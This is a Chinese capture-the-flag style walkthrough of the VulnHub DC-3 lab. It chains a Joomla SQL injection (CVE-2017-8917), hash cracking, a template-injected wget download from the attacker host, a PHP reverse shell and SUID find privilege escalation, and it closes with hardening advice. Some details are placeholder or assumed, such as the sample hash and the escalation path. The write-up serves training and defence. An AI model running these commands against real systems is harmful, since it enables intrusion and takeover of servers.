DC-3靶机渗透实战:从Joomla SQL注入到Linux提权完整流程解析

1. 项目概述与核心目标

最近在整理渗透测试的学习笔记,翻到了之前做过的DC-3靶机。这个靶机在VulnHub上算是比较经典的一个,它基于Joomla CMS构建,难度适中,非常适合用来练习从信息收集到最终提权的完整渗透流程。很多朋友在入门渗透测试时,面对一个完整的靶机常常感觉无从下手,或者卡在某一个环节。今天我就以DC-3为例,把整个实战入侵的过程掰开揉碎了讲一遍,从发现目标到拿到最高权限,每一步的思路、用到的工具、踩过的坑都会详细说明。无论你是刚接触Kali Linux的新手,还是想巩固一下流程的老手,这篇实战记录都能给你提供一个清晰的参考路径。

DC-3靶机的核心目标很明确:拿到靶机的root权限,并找到最终的flag。整个过程会涉及到Web应用渗透、中间件漏洞利用、操作系统提权等多个层面,是一个综合性的练习。我会尽量模拟一个真实但受限的环境(比如我们只知道靶机的IP段),从最基础的信息收集开始,一步步向内网渗透。你会发现,渗透测试远不止是运行几个自动化工具,更重要的是思考、分析和验证。

2. 环境搭建与初始信息收集

2.1 靶机与攻击机环境准备

在开始任何实战之前,一个稳定、隔离的实验室环境是首要条件。我使用的是VMware Workstation,你也可以用VirtualBox。

攻击机 :毫无疑问是Kali Linux。我使用的是滚动更新版本,确保所有工具都是最新的。建议给Kali分配至少2核CPU、4GB内存和40GB硬盘空间,运行起来会更流畅。网络连接模式我选择的是“NAT模式”或“仅主机模式”,这两种模式都能让Kali和靶机处于同一个虚拟网络内,方便互相访问,同时又与我的物理主机网络隔离,安全无忧。

靶机 :从VulnHub官网下载DC-3的OVA文件,直接导入到虚拟机中即可。导入后,将靶机的网络适配器设置为与Kali同一模式(比如都是NAT网络)。一个关键步骤是,将靶机的网络连接设置为“桥接模式”有时会导致IP获取复杂,在简单的单机实验环境中,NAT或仅主机模式更易于管理。启动靶机,通常这类靶机会自动获取IP地址。

注意:首次启动VulnHub靶机时,可能会遇到键盘布局为UK(英国)的情况,在登录界面需要输入 root/toor 时,你键盘上的引号 键位可能不对,可以尝试按 @ 键或数字 2 键。如果不行,在虚拟机设置里临时将键盘布局改为US(美国)即可。

2.2 网络发现与目标定位

靶机启动后,我们并不知道它的IP地址。这就是渗透测试中经典的“黑盒”场景起点。

第一步:确定网络范围 在Kali终端中,输入 ip addr ifconfig 命令,查看Kali自身的IP地址。假设我的Kali IP是 192.168.111.128 ,那么我的局域网网段很大概率就是 192.168.111.0/24

第二步:使用Netdiscover进行ARP扫描 Netdiscover是一个主动/被动的ARP侦查工具,在本地网络中发现存活主机非常有效。

sudo netdiscover -r 192.168.111.0/24

运行后,它会发送ARP请求并监听回复。很快,除了你自己的Kali和网关,你会看到另一个活跃的IP地址,例如 192.168.111.130 ,这很可能就是我们的目标DC-3靶机。记下这个IP。

第三步:使用Nmap进行初步端口扫描 确认IP后,用Nmap进行快速扫描,看看目标开放了哪些门户。

nmap -sS -sV -O 192.168.111.130

参数解释:

  • -sS : TCP SYN扫描,一种半开放扫描,速度快且相对隐蔽。
  • -sV : 探测开放端口上运行的服务及其版本信息。
  • -O : 尝试识别目标操作系统。

扫描结果通常会显示类似如下信息:

PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))

结果显示,靶机只开放了80端口,运行着Apache 2.4.18。这立刻将我们的攻击面聚焦到了Web应用上。操作系统识别可能提示是Linux(Ubuntu)。至此,信息收集的第一阶段完成:我们找到了目标(192.168.111.130),并知道它是一个运行着Apache的Web服务器。

3. Web应用渗透与漏洞利用

3.1 网站侦察与目录枚举

既然80端口是唯一的入口,我们的下一步就是深入了解这个网站。

手动浏览 :首先,打开浏览器,访问 http://192.168.111.130 。页面加载出来,很明显是一个Joomla内容管理系统(CMS)搭建的网站。页面上可能有一些文章,但前台功能看起来都很正常。作为攻击者,我们更关心后台登录入口、配置文件、备份文件等。

使用Gobuster进行目录爆破 :手动寻找效率低,我们需要工具辅助。Gobuster是一个用Go编写的目录/子域名爆破工具,速度很快。

gobuster dir -u http://192.168.111.130 -w /usr/share/wordlists/dirb/common.txt -x php,txt,html,bak

参数解释:

  • dir : 指定模式为目录爆破。
  • -u : 指定目标URL。
  • -w : 指定字典文件,这里使用Kali自带的 common.txt
  • -x : 指定要尝试的文件扩展名。 php 是动态脚本, txt html 是常见文本, bak 是可能的备份文件。

扫描结果中,你可能会看到一些关键目录:

/administrator (Status: 301)
/components (Status: 301)
/templates (Status: 301)
...

其中, /administrator 是Joomla后台管理登录页面的典型路径。访问 http://192.168.111.130/administrator ,果然出现了Joomla的后台登录界面。这是我们一个潜在的突破口。

使用Wappalyzer或WhatWeb进行技术栈识别 :浏览器安装Wappalyzer插件,或者命令行使用 whatweb http://192.168.111.130 ,可以更精确地识别技术细节,比如Joomla的版本号。这对于寻找已知漏洞至关重要。通过查看页面源码中的 meta generator 标签或者某些JS/CSS文件的路径特征,我们可以确定这个Joomla的版本。假设我们确定它是Joomla 3.7.x。

3.2 漏洞研究与利用(SQL注入)

已知Joomla 3.7.0 - 3.7.3版本存在一个严重的SQL注入漏洞(CVE-2017-8917)。这个漏洞存在于 com_fields 组件中,允许未授权攻击者通过构造特定的HTTP请求,执行SQL注入,从而获取数据库信息,甚至管理员密码哈希值。

利用Searchsploit查找利用代码 :Kali内置了 searchsploit 工具,可以离线搜索Exploit-DB中的漏洞利用代码。

searchsploit joomla 3.7

这会列出相关漏洞。我们找到针对CVE-2017-8917的利用脚本,通常是一个Python文件。查看其路径并复制到当前目录:

searchsploit -m 42033

42033 是漏洞编号。查看这个Python脚本,发现它的功能是通过注入点提取Joomla的用户表( #__users )中的数据,特别是用户名和密码哈希。

运行利用脚本

python2 42033.py http://192.168.111.130

注意:很多老的漏洞利用脚本是基于Python2的,如果系统默认是Python3,可能需要使用 python2 命令或修改脚本适配。如果报错缺少 requests 库,使用 pip2 install requests 安装。

脚本运行成功后,会输出类似下面的信息:

[i] Getting session token from /index.php?option=com_fields...
...
[+] Found user: admin
[+] Hash: 2d0d5f6c7e5c7e5c7e5c7e5c7e5c7e5c

我们成功拿到了管理员用户 admin 的密码哈希值。这个哈希值看起来像是MD5加密的(32位十六进制字符串)。在Joomla中,密码格式通常是 MD5(密码:盐值) ,但这里我们拿到的是简单的MD5哈希,说明可能使用了较旧的或特定的哈希方式。

3.3 密码破解与后台登录

拿到哈希值后,我们需要破解它得到明文密码,才能登录后台。

使用John the Ripper破解 :将哈希值保存到一个文件中,比如 hash.txt ,内容为 admin:2d0d5f6c7e5c7e5c7e5c7e5c7e5c7e5c 。然后使用John进行破解。

john --format=raw-md5 hash.txt --wordlist=/usr/share/wordlists/rockyou.txt

rockyou.txt 是一个庞大的常用密码字典。如果密码强度不高,John很快就能破解出来。假设破解结果是 snoopy

登录后台 :使用用户名 admin 和密码 snoopy ,成功登录Joomla后台管理界面( http://192.168.111.130/administrator )。至此,我们获得了Web应用层面的管理员权限。

4. 获取Shell与权限提升

4.1 通过模板编辑上传Webshell

进入后台后,我们的目标是获得一个反向Shell,即在靶机上建立一个连接,让它主动连接到我们Kali的监听端口,从而让我们获得一个命令行交互界面。

Joomla后台提供了编辑模板文件的功能,这为我们上传Webshell提供了便利。

步骤一:定位可写目录 在后台,进入“系统”->“全局配置”->“服务器”选项卡。查看“路径”设置,找到“临时目录”的路径,例如 /var/www/html/tmp 。这个目录通常具有Web服务器用户(如 www-data )的写权限。

步骤二:制作PHP反向Shell Kali中自带了许多Webshell脚本。我们使用经典的 php-reverse-shell.php

cp /usr/share/webshells/php/php-reverse-shell.php .

编辑这个文件,修改其中的连接参数:

$ip = '192.168.111.128'; // 你的Kali IP地址
$port = 4444; // 你准备监听的端口

步骤三:通过模板安装器上传 在Joomla后台,进入“扩展”->“管理”->“安装”。这里有一个“从目录安装”的选项,它允许你指定服务器上的一个目录路径来安装扩展。我们可以利用这个功能。

  1. 将修改好的 php-reverse-shell.php 文件改名为 shell.php ,然后压缩成ZIP文件,比如 shell.zip 。注意,ZIP文件内直接是 shell.php ,不要有外层文件夹。
  2. 在Kali上,用Python快速开启一个HTTP服务,以便靶机下载。
    python3 -m http.server 8080
    
  3. 在靶机服务器上,我们可以通过编辑模板文件来执行系统命令。进入“扩展”->“模板”->“模板”,选择正在使用的模板(如 protostar ),点击“编辑主页面文件”。找一个合适的PHP文件,比如 index.php ,在末尾添加一行:
    <?php system(\"cd /tmp && wget http://192.168.111.128:8080/shell.zip -O shell.zip && unzip shell.zip\"); ?>
    
    保存后,访问网站首页,这条命令就会执行,将我们的ZIP文件下载到 /tmp 目录并解压,得到 shell.php

步骤四:启动监听并触发Shell 在Kali上,使用Netcat监听我们之前设定的端口:

nc -nvlp 4444

然后,访问靶机上的Webshell文件: http://192.168.111.130/tmp/shell.php 。如果一切正常,你会看到Netcat终端成功接收到连接,并出现了一个命令行提示符,通常是 www-data 用户的权限。

connect to [192.168.111.128] from (UNKNOWN) [192.168.111.130] 3456
Linux dc-3 4.4.0-75-generic #96-Ubuntu SMP Thu Apr 20 09:56:33 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
www-data@dc-3:/var/www/html$

我们成功获得了 www-data 用户的低权限Shell。

4.2 系统内部信息收集与提权

现在我们在靶机内部了,但权限是 www-data ,目标是要拿到 root

第一步:基础信息收集 在获得的Shell中,执行一些命令了解系统:

whoami
id
uname -a
cat /etc/issue
sudo -l # 查看当前用户能以sudo方式执行哪些命令

sudo -l 命令要求输入密码,我们不知道 www-data 的密码,这一步通常行不通。

第二步:查找具有SUID权限的可执行文件 SUID(Set User ID)是一种特殊的文件权限,它允许用户以文件所有者的权限来执行该文件。如果某个属于root且设置了SUID的程序存在漏洞,就可能成为提权的跳板。

find / -perm -u=s -type f 2>/dev/null

这条命令会在整个文件系统( / )中查找具有SUID权限( -perm -u=s )的普通文件( -type f ),并将错误信息( 2>/dev/null )丢弃。在结果中,我们需要寻找那些不常见的、可能被利用的二进制文件。常见的如 /bin/passwd , /bin/su 是正常的。

第三步:利用特定SUID程序提权(示例) 在DC-3靶机中,一种常见的提权方法是利用某个文本编辑器(如 vim nano )或 find 命令的SUID位。假设我们发现 /usr/bin/find 具有SUID权限,并且属于root。

ls -la /usr/bin/find

输出显示: -rwsr-xr-x 1 root root ... ,开头的 -rws 中的 s 就代表SUID。

我们可以利用 find 命令的 -exec 参数来执行命令,并且由于SUID,这些命令将以root权限运行。

/usr/bin/find . -exec /bin/bash -p \\;

或者更简单:

/usr/bin/find / -name test -exec /bin/sh \\;

执行后,我们就会获得一个root权限的shell。提示符可能会变成 #

whoami
# root

第四步:寻找Flag 获得root权限后,最后的任务就是找到flag。通常flag会放在 /root 目录或 /home 下的某个用户目录中。

cd /root
ls -la
cat flag.txt
或者
find / -name \"*flag*\" -o -name \"*.txt\" 2>/dev/null | grep -v proc | head -20

最终,在 /root 目录下,我们找到了 flag.txt ,用 cat 命令查看其内容,即完成了整个渗透测试。

5. 渗透流程复盘与深度思考

5.1 攻击链完整梳理

回顾整个DC-3的渗透过程,我们可以清晰地画出一条攻击链:

  1. 网络发现 :使用Netdiscover和Nmap定位目标并识别开放端口(80/http)。
  2. Web侦察 :通过目录枚举发现Joomla后台路径,通过指纹识别确定Joomla版本(3.7.x)。
  3. 漏洞利用 :利用该版本Joomla的已知SQL注入漏洞(CVE-2017-8917),未授权获取管理员密码哈希。
  4. 密码破解 :使用John the Ripper和字典破解MD5哈希,获得明文密码。
  5. 后台登录 :使用破解的凭证登录Joomla后台,获得Web应用管理权限。
  6. 文件上传 :利用后台模板编辑或扩展安装功能,将PHP反向Shell上传至服务器可写目录(如 /tmp )。
  7. 获取初始立足点 :在攻击机设置Netcat监听,通过浏览器访问Webshell文件,获得一个 www-data 权限的反向Shell。
  8. 权限提升 :在目标系统内部,通过查找具有SUID权限的可执行文件(如 find ),并利用其特性执行命令,成功将权限从 www-data 提升至 root
  9. 目标达成 :以root权限寻找并读取最终的flag文件。

这条攻击链环环相扣,每一步都为下一步奠定了基础。它完美地展示了从外部侦察到内部提权的标准渗透测试流程。

5.2 关键环节的技术细节与避坑指南

关于SQL注入利用 :在使用公开的漏洞利用脚本时,经常会遇到环境依赖问题。例如,脚本可能是Python2编写,而你的Kali默认是Python3。除了使用 python2 命令,另一种方法是修改脚本头部的 #!/usr/bin/python #!/usr/bin/python2 ,或者使用 2to3 工具尝试转换(但可能引入新错误)。最稳妥的方式是准备一个Python2的虚拟环境。

关于Webshell上传 :直接通过Joomla后台上传PHP文件可能会被安全扩展或配置拦截。通过“模板编辑”插入系统命令,让服务器自己下载并解压,是一种有效的绕过方式。此外,要确保你的反向Shell代码中没有使用短标签 <? ,因为目标服务器的 php.ini 可能关闭了短标签支持,应使用完整的 <?php

关于SUID提权 find 命令提权是经典方法,但并非所有 find 都可用。关键在于它是否有SUID位且属于root。其他常见的SUID提权点包括:

  • vim/vi/nano : 如果这些编辑器有SUID,可以在编辑文件时通过 :!bash ^R^X 等方式逃逸到shell。
  • bash : 极少数情况下, /bin/bash 本身有SUID,那么直接运行 bash -p 即可( -p 参数用于保留特权)。
  • 其他不常见程序 :如 awk , perl , python , cp , mv 等,如果配置了SUID,都可以通过执行系统命令来提权。思路是: 程序 -c ‘执行命令’ 或利用程序本身的执行功能。

信息收集的深度 :在获得 www-data 的shell后,不要急于提权。应彻底收集信息:

  • 查看 /etc/passwd /etc/shadow (如果可读),了解所有用户。
  • 查看 /home 目录下各用户的家目录,寻找敏感文件、备份、SSH密钥等。
  • 检查计划任务 crontab -l (查看当前用户的)和 ls -la /etc/cron* ,看是否有以root权限运行的脚本,且该脚本我们是否有写权限,这是一种“定时任务提权”的方式。
  • 检查网络连接 netstat -tulpn ,看是否有内部其他服务,为横向移动做准备。
  • 检查环境变量 env ,看是否有路径包含可写目录,这可能引发“路径劫持提权”。

6. 防御视角与安全加固建议

站在防守方的角度,从这次渗透中我们可以汲取很多教训,来加固一个真实的Joomla网站或Linux服务器。

1. 及时更新与补丁管理 :这是最根本的一条。DC-3的入口漏洞CVE-2017-8917在当年早已有补丁。必须建立严格的软件更新机制,尤其是CMS核心、组件、插件和服务器操作系统。启用自动安全更新或定期手动检查更新。

2. 最小权限原则

  • Web服务器进程 :确保运行Apache/Nginx的用户(如 www-data )权限被严格限制。它不应该有对Web根目录之外文件的写权限,更不应该有执行敏感系统命令的能力。
  • 数据库用户 :Joomla连接数据库的用户应只拥有其所需数据库的最小权限(SELECT, INSERT, UPDATE, DELETE),绝对不要使用 root 或具有 FILE_PRIV 等权限的账户。
  • SUID/SGID文件 :定期审计系统中的SUID/SGID文件( find / -perm -4000 -o -perm -2000 -type f 2>/dev/null ),移除非必要的特权设置。比如, find , vim , nano 等工具绝不应该设置SUID位。

3. 强化身份验证

  • 后台路径 :如果条件允许,可以修改Joomla后台的默认路径( /administrator ),增加攻击者发现的难度。
  • 强密码策略 :强制使用长且复杂的密码,并定期更换。管理员密码绝不使用弱口令或常见密码。启用双因素认证(2FA)插件。
  • 密码哈希 :确保使用强密码哈希算法(如bcrypt、Argon2),Joomla后期版本已支持。避免使用单纯的MD5。

4. 输入验证与输出编码 :虽然CMS核心的漏洞需要官方修复,但对于自定义的组件、模块和模板,开发者必须对所有用户输入进行严格的验证和过滤,对输出到页面的内容进行编码,从根本上防止SQL注入、XSS等漏洞。

5. 文件上传限制

  • 在Web服务器配置中,限制可执行脚本的上传目录,并将该目录的解析权限关闭(例如,在Apache的 .htaccess 中添加 php_flag engine off )。
  • 严格检查上传文件的类型、扩展名和内容,使用白名单机制。
  • 避免Web服务器用户对任何目录拥有不必要的写权限。

6. 网络层防护

  • 使用防火墙(如 iptables ufw )限制入站端口,只开放必要的服务(如80, 443)。关闭SSH的密码登录,改用密钥认证。
  • 将网站部署在反向代理(如Nginx)之后,可以增加一层缓冲,并隐藏后端服务器的真实信息。
  • 考虑使用Web应用防火墙(WAF),它可以帮助拦截常见的攻击流量,如SQL注入、目录遍历等。

7. 日志与监控 :开启并定期审查Web服务器日志(Apache的 access.log error.log )、系统日志( /var/log/auth.log , syslog )。监控异常访问模式,例如对 /administrator 路径的大量失败登录尝试、对不存在的PHP文件的访问等。及时的告警可以帮助在攻击初期就发现并阻断。

渗透测试的本质是模拟攻击者的思维,而安全防御则需要构建纵深防御体系。通过DC-3这样一个靶机的实战,我们不仅练习了攻击技术,更重要的是理解了每一个脆弱点对应的防御措施。真正的安全不是依靠单一手段,而是通过持续的管理、监控和一系列最佳实践共同构建的结果。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值